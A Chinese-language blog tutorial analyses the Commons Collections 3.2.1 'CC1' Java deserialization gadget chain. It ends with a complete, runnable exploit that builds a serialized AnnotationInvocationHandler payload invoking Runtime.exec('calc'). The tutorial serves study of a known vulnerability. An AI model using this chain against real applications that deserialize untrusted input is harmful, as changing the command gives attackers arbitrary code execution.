Java反序列化 CC1链分析
文章目录
- CC1链子介绍
- 环境准备
- 下载安装 JDK-8u65
- 通过Maven下载CommonsCollections3.2.1
- 配置对应源码
- CC1链分析
- 利用点
- 溯源
- 待解决问题
- 修补
- 完整代码
CC1链子介绍
Commons Collections是Apache开源社区推出的一款针对Java集合框架的扩展工具库,它提供了大量额外的数据结构和算法,包括有序集合、队列、堆、双向映射等功能丰富的集合实现,以及诸如过滤、转换等高级操作接口。该库极大地补充和完善了Java标准集合API,让开发者在处理复杂集合数据时更加高效灵活,同时简化了代码编写,是Java项目中广泛应用的实用工具
CC1链分国内(TransformedMap
)和国外(LazyMap
),本文介绍的是国内的TransformedMap
链,该链相比国外,结构更为直接,调用链清晰,适合快速构造验证和理解
环境准备
下载安装 JDK-8u65
官网:Java 存档下载 — Java SE 8 | Oracle 中国
安装之后配置到IDEA,在右上角文件处打开项目结构,或者直接用快捷键 Ctrl+Alt+Shift+S
打开
然后在项目处选择SDK为JDK 1.8.0_65
通过Maven下载CommonsCollections3.2.1
复制以下代码到pom.xml
的<dependencies>
标签里面
<dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.2.1</version>
</dependency>
保存即可
配置对应源码
jdk自带的包里面有些文件是反编译的.class
文件,不利于研究分析,为方便调试,我们安装对应的源码
下载地址:jdk8u/jdk8u/jdk: af660750b2f4
点击zip下载压缩包,然后自行解压
在我们之前安装的jdk8u_65
文件夹中,找到src.zip
的压缩包,解压到当前文件夹下,然后把jdk-af660750b2f4\src\share\classes
里的sun文件夹复制到jdk8u_65
文件夹中的src里面
接着打开IDEA,在项目结构(Ctrl+Alt+Shift+S
)里面找到SDK处,在源路径添加jdk8u_65
的src文件夹,保存
到这里就配置完成了,可以开始调试分析了
CC1链分析
利用点
CC1源头就是Commons Collections库中的Tranformer
接口,里面有个transform
方法
寻找继承了这个接口的类,看看transform
方法是如何实现的,可以快捷键Ctrl+Alt+B
快速查看实现方法
发现InvokerTransformer
类继承了该接口,重写了transform
方法,同时还继承了Serializable
接口,符合我们的要求
可以看到,这些参数都是可以控制的,那我们利用这点,传入参数调用invoke
函数就可以触发任意类任意方法
我们的目标是实现Runtime.getRuntime().exec("calc");
构建以下代码实现,方法名为exec
,参数类型为String
,值为calc
public class test2 {public static void main(String[] args) throws Exception {Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});invokerTransformer.transform(r);}
}
成功弹出计算器
溯源
接下来就是一步步回溯,寻找可以利用的类,直到到达重写后的readObject()
方法
首先先寻找有哪些类的哪些方法调用了transform
,右键点击查找用法(或者Alt+F7
)
发现TransformedMap
类的checkSetValue
方法调用了transform
再看看TransformedMap
类的构造函数,可以看到由三个参数组成
其中第一个参数为Map
类型,我们可以传入HashMap
,第二和第三个参数为Transformer
类型,同样可控
但是需要注意的是,TransformedMap
构造函数属于Protected
方法,不能通过外部直接调用,但很巧的是,在TransformedMap
类找到了decorate
方法,返回一个TransformedMap
的实例对象,且属于Public static
方法,外部可以直接调用
那我们可以构造代码,第一个参数传入map
,第二个用不到就传个null,第三个参数传入invokerTransformer
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
Map<Object, Object> map = new HashMap<>();
Map<Object, Object> transformermap = TransformedMap.decorate(map,null,invokerTransformer);
接下来就是要找哪里调用了checkSetValue
方法,右键查找用法
发现有且仅有一处调用了checkSetValue
方法,类名为AbstractInputCheckedMapDecorator
,然后TransformedMap
类刚好又继承了AbstractInputCheckedMapDecorator
类
而AbstractInputCheckedMapDecorator
类又继承了AbstractMapDecorator
AbstractMapDecorator
实现了Map接口
而Map接口里的Entry有setValue
方法,也就是说AbstractInputCheckedMapDecorator
重写了setValue
方法,而重写后的方法调用了checkSetValue
,刚好符合我们的要求
因此我们对Map进行遍历,使其调用重写后的setValue
方法,进而调用checkSetValue
,执行命令
public class test2 {public static void main(String[] args) throws Exception {Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// invokerTransformer.transform(r);Map<Object, Object> map = new HashMap<>();map.put("hello","world");Map<Object, Object> transformermap = TransformedMap.decorate(map,null,invokerTransformer);for(Map.Entry entry:transformermap.entrySet()){entry.setValue(r);}}
}
成功弹出计算器
接下来我们继续分析,寻找哪些方法调用了setValue
,右键查找用法
发现AnnotationInvocationHandler
类的readObject
方法调用了setValue
,刚好满足我们的要求,也寻到了入口,一举两得
查看AnnotationInvocationHandler
的构造函数,参数为一个Class对象和一个Map对象,其中Class对象继承自Annotation
,需要我们传一个注解类进去,然后memberValues
传入之前的transformermap
再看看AnnotationInvocationHandler
的访问权限,发现并没有Public
等访问修饰符,则默认表示Package-local
方法,即只能在同一个包下访问,在包外的类中是不可见的,无法调用
但可以通过反射调用方法getDeclaredConstructor
来获取声明构造函数,简单修改后就可以实现包外调用,这里介绍一下与getConstructor
的区别
方法 | 查找范围 | 返回哪些方法 | 是否支持私有/受保护方法 |
---|---|---|---|
getDeclaredConstructor 获取声明方法 | 只查本类 | 所有声明(包括私有、受保护等) | 支持(需 setAccessible(true)) |
getConstructor 获取方法 | 本类和父类链 | 仅public方法(含继承) | 不支持 |
因此我们通过反射来获取这个类,修改访问权限后就可以在外部调用了
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationConstructor = c.getDeclaredConstructor(Class.class, Map.class);//获取构造器
annotationConstructor.setAccessible(true);//修改访问权限
Object o = annotationConstructor.newInstance(Override.class,transformermap);
拼接上之前的内容,就形成骨架,完成百分之七八十了
public class test2 {public static void main(String[] args) throws Exception {Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// invokerTransformer.transform(r);Map<Object, Object> map = new HashMap<>();map.put("hello","world");Map<Object, Object> transformermap = TransformedMap.decorate(map,null,invokerTransformer);
// for(Map.Entry entry:transformermap.entrySet()){
// entry.setValue(r);
// }Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationConstructor = c.getDeclaredConstructor(Class.class, Map.class);annotationConstructor.setAccessible(true);Object o = annotationConstructor.newInstance(Override.class,transformermap);serialize(o);unserialize("cc1.txt");}public static void serialize(Object obj) throws Exception{ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc1.txt"));oos.writeObject(obj);}public static void unserialize(String filename) throws Exception{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));ois.readObject();}
}
但如果直接运行是不行的,这也就是剩下的百分之二三十需要我们解决的问题了
待解决问题
分析之前的代码,发现有三个明显的问题尚未解决
问题一:Runtime
类没有继承Serializable
接口,无法序列化
问题二:readObject()
方法怎样通过两个if判断进入setValue()
方法
问题三:readObject
方法里的setValue
参数不可控
我们按顺序逐个解决以上问题
修补
问题一:
首先解决第一个问题,虽然Runtime
类没有继承Serializable
接口,但是Class
类继承了Serializable
,当Runtime
在 JVM 加载后,会有唯一的 Class<Runtime>
实例,它是对 Runtime
这个类型的描述。我们可以通过反射实现Runtime
类
构造以下代码反射实现Runtime
类
Class cs = Runtime.class;
Method getRuntime = cs.getMethod("getRuntime", null);// 第二个null表示参数内容,加不加都可以
Runtime cmd = (Runtime) getRuntime.invoke(null, null);// 第一个null表示调用静态方法,第二个null同上
Method control = cs.getMethod("exec", String.class);
control.invoke(cmd, "calc");
验证一下,成功弹出计算器
然后改用InvokerTransformer
的transform
实现以上代码
Class cs = Runtime.class;
// Method getRuntime = cs.getMethod("getRuntime", null);
// Runtime cmd = (Runtime) getRuntime.invoke(null, null);
// Method control = cs.getMethod("exec", String.class);
// control.invoke(cmd, "calc");
Method getRuntime = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(cs);
Runtime cmd = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(cmd);
但是分开的话不好处理,需要找个方法合并起来,回到一开始的Transformer.java
右键transform
查找用法,发现ChainedTransformer
的transform
方法可以循环遍历transform
看看构造函数,要求传个数组
那我们可以构造以下代码实现
Class cs = Runtime.class;
// Method getRuntime = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(cs);
// Runtime cmd = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);
// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(cmd);
Transformer[] transformers = new Transformer[]{new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(cs);
成功解决问题一
我们修改一下之前骨架的内容
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});// 将上面的代码修改成下面的代码Class cs = Runtime.class;
Transformer[] transformers = new Transformer[]{new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
问题二:
首先在AnnotationInvocationHandler
类的readObject
方法的第一个if判断语句处打断点,调试后可以看到memberType
值为null,无法进入if语句
分析代码,可知memberTypes
是表示注解类型里所有成员及其对应的数据类型的映射关系,然后memberType
获取注解中成员变量的名称
一开始我们用的是注解Override
,这里面没有成员变量
那就不用这个,继续寻找发现注解Target
里有成员变量value
,可以用这个
回到之前的exp骨架那里,修改两处地方
重新调试一遍,这次没有问题了,成功进入第一个if语句
接下来就是第二个if语句,只要我们传入的value
既不是memberType
对应类型的实例,也不是异常代理类对象ExceptionProxy
实例,就可以进入if语句
因为成员value
的声明类型是枚举数组ElementType[]
,而传入的是字符串"world"
,判断后返回false,然后经过取反后就变为true,成功进入if语句
问题三:
最后就是解决readObject()
调用的setValue()
参数不可控,继续分析代码,发现ConstantTransformer
类刚好满足我们的要求,它重写后的transform
可以返回我们传入的对象
修改之前的代码
Class cs = Runtime.class;
Transformer[] transformers = new Transformer[]{new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};// 将上面的代码修改成下面的代码,添加ConstantTransformerClass cs = Runtime.class;
Transformer[] transformers = new Transformer[]{new ConstantTransformer(cs),// 修改这里new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
完整代码
把之前的代码合并在一起,得到以下完整代码
public class test2 {public static void main(String[] args) throws Exception {Class cs = Runtime.class;Transformer[] transformers = new Transformer[]{new ConstantTransformer(cs),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map<Object, Object> map = new HashMap<>();map.put("value","world");Map<Object, Object> transformermap = TransformedMap.decorate(map,null,chainedTransformer);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationConstructor = c.getDeclaredConstructor(Class.class, Map.class);annotationConstructor.setAccessible(true);Object o = annotationConstructor.newInstance(Target.class,transformermap);serialize(o);unserialize("cc1.txt");}public static void serialize(Object obj) throws Exception{ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc1.txt"));oos.writeObject(obj);}public static void unserialize(String filename) throws Exception{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));ois.readObject();}
}
成功弹出计算器,实现完整的漏洞链利用
到这里CC1的复现就结束了,确实不容易,不过收获很大,想要提升水平还是得多练代码审计,继续加油吧